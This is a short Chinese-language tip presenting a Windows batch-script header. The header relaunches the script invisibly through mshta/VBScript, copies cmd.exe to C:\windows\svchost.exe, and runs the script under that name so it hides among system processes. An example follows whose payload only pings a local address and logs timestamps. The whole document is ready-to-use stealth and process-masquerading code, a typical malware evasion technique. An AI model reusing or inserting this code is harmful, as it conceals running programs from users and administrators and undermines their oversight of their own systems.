1.把這段代碼寫在前面
@echo off
if "%1"=="r" goto start
if "%1"=="h" goto begin
start mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy C:\windows\system32\cmd.exe C:\windows\svchost.exe /y
start mshta vbscript:CreateObject("WScript.Shell").Run("%systemroot%\svchost.exe /c %~nx0 r",0)(window.close)&&exit
:start
該批處理運行后,黑框框會消失。接下來,它會把自己隱藏成進程svchost.exe在后台運行
eg:
@echo off
if "%1"=="r" goto start
if "%1"=="h" goto begin
start mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy C:\windows\system32\cmd.exe C:\windows\svchost.exe /y
start mshta vbscript:CreateObject("WScript.Shell").Run("%systemroot%\svchost.exe /c %~nx0 r",0)(window.close)&&exit
:start
::create by yoodo by qrui;
echo %date%:%time%"開始bat";>>c:\ce.txt
ping -n 10 192.168.1.1 >>c:\ce.txt
echo %date%:%time%"bat運行完成";>>c:\ce.txt
